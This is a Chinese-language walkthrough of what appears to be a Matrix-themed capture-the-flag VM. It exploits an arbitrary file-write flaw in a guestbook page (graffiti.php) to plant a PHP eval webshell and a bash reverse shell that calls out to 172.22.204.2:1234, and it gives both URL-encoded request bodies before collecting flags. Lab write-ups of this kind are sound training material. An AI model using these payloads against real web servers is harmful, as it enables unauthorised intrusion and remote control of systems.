http://192.168.80.131/graffiti.php

image-20221119234606473

发现是个留言信息的一个网站

而且我们评论的信息被包含在了graffiti.php文件中

猜测是文件写入

于是抓包查看

image-20230222151129426

发现数据为

1
message=hello&file=graffiti.txt

message为写入信息

file为写入文件名称,而且还有后缀名字

那么如果修改后面的文件名称,我们是不是可以实现文件上传的效果,上传一个包含木马的文件

一句话🐎

那就写一个一句话

1
<?php @eval($_POST['cmd']); ?>

然后再url编码

于是最后

1
message=%3C%3Fphp%20%40eval(%24_POST%5B'cmd'%5D)%3B%20%3F%3E&file=hello.php

如果你是开了火绒,那你可能会看到,刚发送就被火绒检测到网站存在一句话🐎,代表确实是可以的

nc监听反弹shell也是一样

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.22.204.2/1234 0>&1'"); ?>

得到

1
message=%3C%3Fphp%20exec(%22%2Fbin%2Fbash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.204.2%2F1234%200%3E%261'%22)%3B%20%3F%3E&file=hello.php

访问hello.php文件

image-20230222152248020

拿到shell

image-20230222152313081

FLAG1

到根目录

image-20230222152956576

Flag 1!

You’ve gotten onto the system. Now why has Cypher locked everyone out of it?

Can you find a way to get Cypher’s password? It seems like he gave it to
Agent Smith, so Smith could figure out where to meet him.

Also, pull this image from the webserver on port 80 to get a flag.

/.cypher-neo.png

标志1 !

你已经进入系统了。为什么塞弗把所有人都锁在外面?

你能想办法拿到塞弗的密码吗?看来他把它给了
史密斯探员,这样史密斯就能找到和他见面的地方。

另外,从端口80的web服务器上拉出这个图像来获得一个标志。/.cypher-neo.png

提示我们需要从网站上找到图片.cypher-neo.png,拿到其中的密码

直接wget

image-20230222153353400

FLAG2

image-20230222153942426